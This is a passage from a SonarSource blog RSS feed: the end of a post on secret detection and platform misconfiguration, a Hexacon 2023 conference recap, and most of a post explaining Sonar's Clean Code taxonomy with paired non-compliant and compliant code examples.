organizations.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It’s common sense that you should never store secrets in your code, even temporarily in your local development environment, as the likelihood of us forgetting and committing to a code repository are high. That said, it still happens from time to time, and that’s where issues can quickly bubble up to production, or even into third-party tools that are involved in the CI/CD pipeline.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarLint can help identify these situations while you’re coding, whether they’re application-specific secrets, or access keys for authorizing the application to a third party. Take the following screenshot for example, in which AWS access keys and secrets could have been inadvertently committed and propagated to many other systems. Detecting these while you’re coding is an invaluable tool to protect against future security concerns.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4274cda4-4f1d-4158-800a-3e29a076006a/sonar-secret-detection.png&quot; /&gt;&lt;h2&gt;Platform Configuration Issues and Security Code Smells&lt;/h2&gt;&lt;p&gt;When building a house, you might choose to install the most advanced security systems, fortified doors, and unbreakable windows. But if your foundations aren’t solid, stable, and built on reliable ground, the entire structure is vulnerable to collapse, rendering all those security measures futile.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And so it is that, whether you’re deploying to AWS, Azure, or Google platforms, the security of your platform is paramount to the security of your application.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When configuring the platform on which your application is going to reside, it can often be tempting to simplify the security aspects in order to speed up the development process. But, all too often, such shortcuts in the beginning can be overlooked when pushing the application to QA and production.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In other cases your production ready configuration might inadvertently contain a human-created error, or a recent change or newly discovered vulnerability is now activated and your previously safe configuration is now insecure.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Take this example of a scope permission vulnerability in Azure with a secondary location:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3575defd-a4a9-434a-a525-2b974ae36ff5/sonar-scope-vulnerability-1.webp&quot; /&gt;&lt;p&gt;Or this authentication vulnerability in AWS:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/ec220780-d6a6-433c-9ccd-a741c6abc97a/sonar-scope-vulnerability-2.webp&quot; /&gt;&lt;p&gt;Discovering these as early as possible is what “shift left” is all about. That you’re protecting yourself against issues that won’t eventuate until later in the deployment lifecycle is what I’m referring to as “shift right”.&lt;/p&gt;&lt;h2&gt;Why Not Try For Yourself?&lt;/h2&gt;&lt;p&gt;Getting started is easy. Checkout &lt;a href=&quot;https://rules.sonarsource.com/&quot;&gt;Sonarpedia&lt;/a&gt; to see our rules for &lt;a href=&quot;https://rules.sonarsource.com/cloudformation/&quot;&gt;CloudFormation&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/docker/&quot;&gt;Docker&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/kubernetes/&quot;&gt;Kubernetes&lt;/a&gt;, &lt;a href=&quot;https://rules.sonarsource.com/terraform/&quot;&gt;Terraform&lt;/a&gt;, and more. Or better yet, try them out yourself in &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt;, &lt;a href=&quot;https://www.sonarqube.org/downloads/&quot;&gt;SonarQube&lt;/a&gt; or &lt;a href=&quot;https://sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt;. Please visit our &lt;a href=&quot;https://community.sonarsource.com/&quot;&gt;Community&lt;/a&gt; to give us feedback and to grab the latest product news.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/why-i-m-passionate-about-static-analysis-and-how-i-helped-make-it-better/&quot;&gt;Why I’m passionate about Static Analysis and how I helped make it better&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/what-is-clean-code/&quot;&gt;What is Clean Code?&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/ismg-interview-securing-applications-accelerating-devops-with-clean-code/&quot;&gt;ISMG Interview - Securing Applications, Accelerating DevOps with Clean Code&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[BlogPost | Highlights from Hexacon 2023]]></title><description><![CDATA[Last week, members of our AppSec and Vulnerability Research teams attended the Hexacon in Paris to learn, share, and network. Read more about our highlights.]]></description><link>https://www.sonarsource.com/blog/hexacon2023-highlights</link><guid isPermaLink="false">7ed0ad52-0357-5374-bdfd-637d929a5b31</guid><dc:creator><![CDATA[Stefan Schiller]]></dc:creator><pubDate>Wed, 18 Oct 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hexacon, now in its second iteration, stands as a premier IT security conference. Despite its relative youth, this event has quickly gained recognition as a prominent platform for cybersecurity professionals and enthusiasts. It serves as a hub for discussing highly technical content in the field of offensive IT security. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Participants have the opportunity to learn about the latest vulnerabilities and exploitation techniques, share knowledge, and network with like-minded individuals, making it a must-attend event for anyone passionate about IT security, like Sonar&amp;#x27;s AppSec Researchers and Vulnerability Researchers.&lt;/p&gt;&lt;h2&gt;Hexacon 2023 - Venue and Events&lt;/h2&gt;&lt;p&gt;The conference took place in the Palais Brongniart in Paris, France. With a historical significance dating back to its construction in 1808 instigated by Napoleon Bonaparte, this building is now one of the leading congress and event centers in Paris. This impressive building provided an opportune atmosphere for a highly professional conference like this.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/5613b620-12b0-4239-9b96-d851d78565a1/hexacon23_01.jpg&quot; /&gt;&lt;p&gt;The actual conference was preceded by four days of on-site training offering different topics such as &lt;em&gt;Attacking the Linux Kernel&lt;/em&gt;, &lt;em&gt;iOS for Security Engineers&lt;/em&gt;, or &lt;em&gt;Practical Baseband Exploitation&lt;/em&gt;. For hands-on focused participants, the conference was enriched by three different challenges in the categories &lt;em&gt;IoT&lt;/em&gt;, &lt;em&gt;Web/Crypto&lt;/em&gt;, and &lt;em&gt;RE/pwn&lt;/em&gt;. For those participants who were interested in networking, the social event of Friday evening provided a very pleasant opportunity to do so.&lt;/p&gt;&lt;h2&gt;Hexacon 2023 - Talks&lt;/h2&gt;&lt;p&gt;The single-tracked setup offered a &lt;a href=&quot;https://www.hexacon.fr/conference/agenda/&quot;&gt;variety of 15 different talks&lt;/a&gt; throughout the two days of the conference. Here are a few of our personal highlights:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/099816b6-c188-4ee2-bda8-5f6e446696f8/hexacon23_02.jpg&quot; /&gt;&lt;p&gt;Cheng-Da Tsai, aka Orange Tsai, invited the audience on an educational and entertaining journey of discovering and exploiting vulnerabilities in the Sonos One Speaker in the talk &lt;em&gt;“A 3-Year Tale of Hacking a Pwn2Own Target: The Attacks, Vendor Evolution, and Lesson Learned”&lt;/em&gt;. Instead of focusing only on technical details, the talk outlined the general approach and highlighted the emotional ups and downs of vulnerability research.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;The talk &lt;em&gt;“Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization”&lt;/em&gt; by Piotr Bazydło went beyond the usual exploitation strategies of deserialization vulnerabilities. Piotr emphasized the fundamental downsides of block lists by demonstrating different bypasses and even detailed bypass approaches applicable when allow lists are in place by leveraging nested deserialization. Furthermore, he showcased that even the re-serialization of objects can be leveraged by attackers. More details can be found in the &lt;a href=&quot;https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf&quot;&gt;related whitepaper&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Simon Scannell presented his impressive research on the Antivirus engine ClamAV in the talk &lt;em&gt;“You have become the very thing you swore to destroy: Remotely exploiting an Antivirus engine”&lt;/em&gt;. Simon’s talk did not only explain the complex vulnerabilities he discovered in ClamAV but also detailed a unique exploit technique to bypass ASLR and eventually gain remote code execution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;The Hazards of Technological Variety and Parallelism: An Avocado Nightmare&lt;/h3&gt;&lt;p&gt;On Friday, our Vulnerability Researcher Stefan Schiller presented the talk “&lt;em&gt;The Hazards of Technological Variety and Parallelism: An Avocado Nightmare”&lt;/em&gt;, which highlighted two major challenges software is facing nowadays. The case study used for this purpose is Apache Guacamole, which is a remote desktop gateway commonly deployed in enterprise environments to access hosts and isolated applications via a web browser.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/ToIn2bkD9yU&quot;&gt;HEXACON2023 - An Avocado Nightmare by Stefan Schiller&lt;/a&gt;&lt;/p&gt;&lt;p&gt;The talk described an interesting parser differential vulnerability caused by a difference in how Guacamole’s Java and C components handle Unicode characters and explained how attackers could exploit this. Furthermore, Stefan emphasized the dangers of parallelism by detailing a Use-After-Free vulnerability caused by the inappropriate protection of shared data access by separate threads. At last, he dived into the development of a proof-of-concept for this vulnerability and covered different glibc heap exploitation techniques in detail.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Thank you to everyone attending the talk and to the organizers for having us! We will publish an additional blog post covering the content of the talk soon. So, stay tuned!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Lightning Talks&lt;/h3&gt;&lt;p&gt;Hexacon added a new format to the social event called &lt;em&gt;Lighting Talks&lt;/em&gt;. A lightning talk is a quick session limited to 5 minutes, which should not contain any commercials but rather fun topics.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our AppSec Researcher Gaëtan Ferry presented a tragically funny story about SAST engine benchmarking in his session &lt;em&gt;“AppSeceo and Juliet C#”&lt;/em&gt;:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/f62d8506-d79c-4680-ad5b-73873bc81d81/hexacon23_04.jpg&quot; /&gt;&lt;p&gt;The session describes the challenges faced when improving a SAST engine to cover a specific benchmark. Check out our related blog post &lt;a href=&quot;https://www.sonarsource.com/blog/java-sast-benchmarks-why-you-shouldn-t-trust-them-blindly/&quot;&gt;Java SAST Benchmarks: why you shouldn’t trust them blindly&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We greatly enjoyed the fresh and diverting lightning talks format and would greatly welcome it to become a regular component of the conference.&lt;/p&gt;&lt;h2&gt;Hexacon 2023 - Conclusion&lt;/h2&gt;&lt;p&gt;Our expectations after the &lt;a href=&quot;https://www.sonarsource.com/blog/bits-from-hexacon-2022/&quot;&gt;great conference last year&lt;/a&gt; were high. But Hexacon 2023 really smashed it again. We had an amazing time, met a lot of friendly, like-minded people, and enjoyed the cutting-edge content provided by the presented talks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Kudos to Synacktiv for making this conference such a pleasant event, we are already looking forward to next year for yet another iteration of Hexacon!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3fa3316c-4a32-4ec1-a128-0a7739968fe2/hexacon23_05.jpeg&quot; /&gt;&lt;p&gt;&lt;em&gt;https://twitter.com/hexacon_fr/status/1713248413725143356/photo/1&lt;/em&gt;&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/blackhat-2023-overview/&quot;&gt;BlackHat 2023: Hackers, Casinos, and an Exciting Announcement&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/troopers-2023-conference-takeaways/&quot;&gt;TROOPERS 2023 Conference Takeaways&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/typhooncon-2023-wrap-up/&quot;&gt;TyphoonCon 2023 Wrap Up&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/reflections-from-offensivecon-2023/&quot;&gt;Reflections from OffensiveCon 2023&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/bits-from-hexacon-2022/&quot;&gt;Bits from Hexacon 2022&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[What is Clean Code?]]></title><description><![CDATA[If you’ve followed us for a while, you most likely noticed that we changed the way we describe what we do. It feels like in the last couple of years, we finally managed to settle on what we had been looking for from the beginning: Clean Code. But what is Clean Code, and what does it encompass?]]></description><link>https://www.sonarsource.com/blog/what-is-clean-code</link><guid isPermaLink="false">767fa6b3-599b-5957-b6a1-424986c12c11</guid><dc:creator><![CDATA[Gabriel Vivas]]></dc:creator><pubDate>Wed, 18 Oct 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If you’ve followed us for a while, you most likely noticed that we changed the way we describe what we do: from “code quality” to “continuous code inspection,” then “code quality and code security”… It feels like in the last couple of years, we finally managed to settle on what we had been looking for from the beginning: Clean Code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But what is Clean Code, and what does it encompass?&lt;/p&gt;&lt;h2&gt;This is about causes and (clean) code&lt;/h2&gt;&lt;p&gt;The problem that we solve at Sonar is a big problem, which also has a lot of ramifications. We help to improve productivity, reduce risk and downtime, and increase code ownership. We impact the source code but also, of course, indirectly, the software itself. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the past, when describing what we do, we mixed all of these descriptions, leading to inconsistencies (in the best case) and difficulty connecting the dots for our community. Around two years ago, we decided to solve this issue and launched an internal initiative to explain better what we do. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To make a (very) long story short, we eventually settled on three things:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;Our focus is exclusively on code, and this is how we should describe what we do&lt;/li&gt;&lt;li&gt;We should focus on the cause of issues, not on their potential consequences&lt;/li&gt;&lt;li&gt;We name what we do Clean Code&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Once these decisions were made, you started to see “Clean Code” appearing here and there. Problem solved? Not quite. We know what we do and our focus, but we still have a gap: how do we classify the nonconformities to Clean Code if we want to remain rooted in the actual code and not in the consequences?&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;So, we started another project to develop a classification, aka taxonomy.&lt;/p&gt;&lt;h2&gt;The Clean Code Taxonomy&lt;/h2&gt;&lt;p&gt;The foundation of the Clean Code taxonomy is code that is clean and code that has the following properties: consistent, intentional, adaptable, and responsible.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In other words, whenever code has an issue, this issue will “break” one of these categories.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Let’s now review the four categories in detail.&lt;/p&gt;&lt;h3&gt;Consistent&lt;/h3&gt;&lt;p&gt;Code should be consistent and follow a common style. This means that all the code, even if worked on by different people over time, should have a similar appearance and adhere to established patterns. This consistency should apply not only within a specific codebase but also ideally across the entire programming language ecosystem.&lt;/p&gt;&lt;h4&gt;Example 1:&lt;/h4&gt;&lt;p&gt;Code should be formatted. For example, even if you are not familiar with Java code, you probably expect to see consistent indentation in the following code. It’s not about tabs versus spaces, it’s about consistency.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Foo {
  public int a;
    public int b;

  public void doSomething() {
    if(something) {
          doSomethingElse();
  }
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class Foo {
  public int a;
  public int b;

  public void doSomething() {
    if(something) {
      doSomethingElse();
    }
  }
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S1120/java&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S1120/java&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 2:&lt;/h4&gt;&lt;p&gt;Code should be idiomatic and follow syntax conventions. For example, in C++ &amp;gt;= 11 ​​type aliases can be declared via either &lt;code&gt;typedef&lt;/code&gt; or &lt;code&gt;using&lt;/code&gt;, however, you should prefer the latter for modern code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;typedef void (*FunctionPointerType)(int);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;using FunctionPointerType = void (*)(int);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S5416/cfamily&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S5416/cfamily&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 3:&lt;/h4&gt;&lt;p&gt;Code should be easily identifiable. Consider code written in C#, where PascalCase is used for all identifiers except parameter names. In this context, using underscores or other casing styles to differentiate words in an identifier is unacceptable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class my_class {...}
class SOMEName {...}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyClass {...}
class SomeName {...}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S101/csharp&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S101/csharp&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Intentional&lt;/h3&gt;&lt;p&gt;Intentional code reads like it was written with attention and care to convey its purpose. The code should be self-explanatory and only allow for one interpretation. Every instruction makes sense, adequately forms, and simply conveys its behavior. The code should not be ambiguous or leave room for guessing.&lt;/p&gt;&lt;h4&gt;Example 1:&lt;/h4&gt;&lt;p&gt;Code should be clear and straightforward. Take this Python code as an example, and you&amp;#x27;ll notice that variables `&lt;code&gt;message&lt;/code&gt;` and `&lt;code&gt;i&lt;/code&gt;` are defined but never used. When readers encounter such cases, they might wonder if it&amp;#x27;s a coding error that was supposed to do something else or if it&amp;#x27;s just leftover code that can be safely deleted.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def hello(name):
    message = &quot;Hello &quot; + name
    print(name)
for i in range(10):
    foo()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def hello(name):
    message = &quot;Hello &quot; + name
    print(message)
for _ in range(10):
    foo()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S1481/python&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S1481/python&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 2:&lt;/h4&gt;&lt;p&gt;Code should only contain instructions that are logically sound. For instance, in JavaScript, there&amp;#x27;s `&lt;code&gt;NaN&lt;/code&gt;`, which stands for &amp;#x27;Not-a-Number.&amp;#x27; It represents a numeric data type that isn&amp;#x27;t a valid number. `&lt;code&gt;NaN&lt;/code&gt;` is not equal to any value, even itself, and this behavior can lead to unexpected results.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (a !== NaN) {
  console.log(&quot;this is always logged&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;if (!isNaN(a)) {
  console.log(&quot;a is not NaN&quot;);
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S2688/javascript&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S2688/javascript&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 3:&lt;/h4&gt;&lt;p&gt;Code should be thorough. An example in PHP is the use of secure cookies. The method `&lt;code&gt;setcookie&lt;/code&gt;` allows you to create cookies that can be transmitted via HTTP by default, making their contents readable. Since cookies often carry sensitive data, it&amp;#x27;s important to ensure they are transferred securely to fulfill their intended purpose. You need to pass a last argument to enable HTTPS only.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$value = &quot;sensitive data&quot;;
setcookie($name, $value, $expire, $path, $domain);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;$value = &quot;sensitive data&quot;;
setcookie($name, $value, $expire, $path, $domain, true);&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S2092/php&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S2092/php&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 4:&lt;/h4&gt;&lt;p&gt;Code should be efficient and not waste resources needlessly. For example, most Linux package managers create a cache by default when working with Docker. Unless you remember to remove these files in your Dockerfile, they will increase the size of your image without providing any additional value.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;RUN apt-get update \
  &amp;&amp; apt-get install nginx&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;RUN apt-get update \
  &amp;&amp; apt-get install nginx \
  &amp;&amp; apt-get clean&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S6587/docker&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S6587/docker&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Adaptable&lt;/h3&gt;&lt;p&gt;When code is adaptable, it’s segmented and organized in a way that makes it easier to manage and see the relationships between code. The code should be structured for easy and confident evolution. It should simplify the process of extending or repurposing its parts and encourage localized changes without causing unintended side effects.&lt;/p&gt;&lt;h4&gt;Example 1:&lt;/h4&gt;&lt;p&gt;Code should be distinct and minimize duplication. For instance, duplicating string literals raises the risk of errors when making updates since each occurrence must be changed separately. A better approach is to use constants that can be referenced from multiple places, allowing updates to be made in a single location. Here’s an example using Ruby.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def foo()
  prepare(&apos;action random1&apos;)
  execute(&apos;action random1&apos;)
  release(&apos;action random1&apos;)
end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;def foo()
  action1 = &apos;action random1&apos;
  prepare(action1)
  execute(action1)
  release(action1)
end&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S1192/ruby&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S1192/ruby&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 2:&lt;/h4&gt;&lt;p&gt;Code should be focused, with each unit having a specific and limited scope. For instance, in Swift, it&amp;#x27;s best practice to keep types, such as classes, in separate files. This helps prevent an excessive accumulation of instructions or an overwhelming amount of complexity within a single file.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyViewController: UIViewController {
  // …
}
extension MyViewController: UIScrollViewDelegate {
  // …
}
class UnrelatedController: UIViewController {
  // …
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;class MyViewController: UIViewController {
  // …
}
extension MyViewController: UIScrollViewDelegate {
  // …
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S1996/swift&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S1996/swift&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 3:&lt;/h4&gt;&lt;p&gt;Code should be modular, and a key aspect of this is encapsulation. In Object-Oriented languages, encapsulation often involves making fields private. This way, the class retains control over the details of its internal representation and prevents other parts of the code from having too much knowledge about its inner workings.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;However, there are multiple levels of encapsulation, and even minor improvements can make a difference. For example, if you&amp;#x27;re working with VB.Net, which allows publicly accessible fields, it&amp;#x27;s better to avoid using them and instead use properties. Properties work similarly to fields but are part of the interface and can be overridden by getters and setters.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Class Foo
    Public Bar = 42
End Class&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;Class Foo
    Public Property Bar = 42
End Class&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S2357/vbnet&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S2357/vbnet&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 4:&lt;/h4&gt;&lt;p&gt;Code should include tests that instill confidence when making changes. Ideally, we should prioritize comprehensive functional test coverage. However, accurately measuring it can be challenging. Nonetheless, it&amp;#x27;s essential to ensure that test coverage is not so low that you can fear modifying the code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;There are odd examples, where you have a test folder or test files, without actual test cases inside, which can mislead other developers: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S2187/&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S2187/&lt;br/&gt;&lt;br/&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;There are also cases where tests are skipped and accidentally committed like that, which might go unnoticed if not tracked in any way: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S1607/&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S1607/&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Responsible&lt;/h3&gt;&lt;p&gt;Code should be mindful of its ethical obligations concerning data and its potential influence on societal norms. Whether it&amp;#x27;s a matter of professional duty, providing peace of mind, or championing inclusivity, the bottom line is that code should not present an ongoing risk of unintentionally harming third parties. This applies regardless of whether developers bear immediate liability.&lt;/p&gt;&lt;h4&gt;Example 1:&lt;/h4&gt;&lt;p&gt;Code should avoid hard-coding secrets. While it may be tempting for internal applications or when you believe the source code is secure, the truth is that responsible code should never store secrets. If malicious parties access the code, secrets can be inadvertently exposed and exploited. This risk not only affects the software itself. It can have far-reaching consequences, impacting the system and third parties.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here’s a simplified example using Go:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Non-compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func connect()  {
  user := &quot;root&quot;
  password:= &quot;supersecret&quot;

  url := &quot;login=&quot; + user + &quot;&amp;passwd=&quot; + password
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Compliant code:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;func connect()  {
  user := getEncryptedUser()
  password:= getEncryptedPass()

  url := &quot;login=&quot; + user + &quot;&amp;passwd=&quot; + password
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Read more: &lt;a href=&quot;https://sonarsource.github.io/rspec/#/rspec/S2068/go&quot;&gt;https://sonarsource.github.io/rspec/#/rspec/S2068/go&lt;/a&gt;&lt;/p&gt;&lt;h4&gt;Example 2:&lt;/h4&gt;&lt;p&gt;Code should be lawful. It should respect basic licensing and copyright regulations. It exercises the creator’s rights and honors other’s rights to license their code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One common example is companies enforcing copyright headers in their code files:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;/*
 * SonarQube, open source software for clean code.
 * Copyright (C) 2008-2023 SonarSource
 * mailto:contact AT sonarsource DOT com
 *
 * SonarQube is free software; you can redistribute it and/or
